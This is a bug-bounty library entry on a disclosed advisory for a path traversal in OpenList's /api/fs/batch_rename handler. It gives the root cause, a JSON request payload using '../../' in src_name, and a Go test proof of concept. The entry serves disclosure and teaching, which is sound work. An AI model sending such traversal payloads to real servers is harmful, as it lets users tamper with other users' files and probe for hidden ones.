# OpenList: Authenticated users can rename files outside their base path via batch rename `src_name` traversal

OpenList batch_rename validates only src_dir and new_name, so an authenticated user can traverse src_name to rename files outside their base path.

- Payout: Research
- Severity: high
- Program: OpenList
- Found by: sondt99
- Disclosed: 2026-07-24
- CVE: CVE-2026-73509
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-95cv-r8x4-vh75
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-95cv-r8x4-vh75
- Tags: area:web domain:api domain:web impact:integrity kind:research platform:ghsa sev:high tech:go technique:source-review vuln:access-control vuln:path-traversal

**Target:** /api/fs/batch_rename HTTP handler in Go server
**Root cause:** The handler authorizes only the constrained src_dir and applies checkRelativePath to new_name but not src_name; src_name is concatenated onto reqPath and normalized by path.Clean, letting `..` segments escape the authorized directory.
**Steps:**
1. Authenticate as a general user with base path `/team/a` and rename permission.
2. POST `/api/fs/batch_rename` with `{"src_dir":"/writable","rename_objects":[{"src_name":"../../ab/secret.txt","new_name":"renamed.txt"}]}`.
3. Handler authorizes `/team/a/writable`, then builds `/team/a/writable/../../ab/secret.txt` which normalizes to `/team/ab/secret.txt`.
4. fs.Rename moves the out-of-base file to `/team/ab/renamed.txt`; success/error reveals existence of guessed files.
**How found:** Compared the single-file rename path (which calls checkRelativePath on req.Name) against batch rename, noticing the check was applied to new_name only; then traced src_dir through user.JoinPath and the later fmt.Sprintf concatenation with src_name into path.Clean normalization.
**Exploitation:** Any authenticated user with rename permission submits traversal segments in src_name; the server renames a guessed sibling file outside their base path, corrupting other users' file layout and leaking existence via response codes.
**Insight:** When a handler validates a directory and a destination name, check every other attacker-controlled path component separately — concatenation followed by path.Clean silently re-interprets `..` that the earlier authorization never saw.

## Proof of concept (copied exactly from the original report)

**Go test PoC for batch_rename src_name traversal**

```
func TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {
    gin.SetMode(gin.TestMode)
    root := t.TempDir()
    if err := os.MkdirAll(filepath.Join(root, "team", "a", "writable"), 0o700); err != nil {
        t.Fatal(err)
    }
    if err := os.MkdirAll(filepath.Join(root, "team", "ab"), 0o700); err != nil {
        t.Fatal(err)
    }
    secretPath := filepath.Join(root, "team", "ab", "secret.txt")
    if err := os.WriteFile(secretPath, []byte("secret"), 0o600); err != nil {
        t.Fatal(err)
    }
    user := setupSecurityPoCTest(t, root)

    ctx, recorder := requestWithUser(t, http.MethodPost, "/api/fs/batch_rename", gin.H{
        "src_dir": "/writable",
        "rename_objects": []gin.H{{
            "src_name": "../../ab/secret.txt",
            "new_name": "renamed.txt",
        }},
    }, user)
    FsBatchRename(ctx)

    if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `"code":200`) {
        t.Fatalf("expected batch rename success, status=%d body=%s", recorder.Code, recorder.Body.String())
    }
    if _, err := os.Stat(secretPath); !os.IsNotExist(err) {
        t.Fatalf("expected original sibling file to be renamed, stat err=%v", err)
    }
    renamedPath := filepath.Join(root, "team", "ab", "renamed.txt")
    got, err := os.ReadFile(renamedPath)
    if err != nil {
        t.Fatalf("expected renamed sibling file at %s: %v", renamedPath, err)
    }
    if string(got) != "secret" {
        t.Fatalf("unexpected renamed file contents: %q", got)
    }
}
```

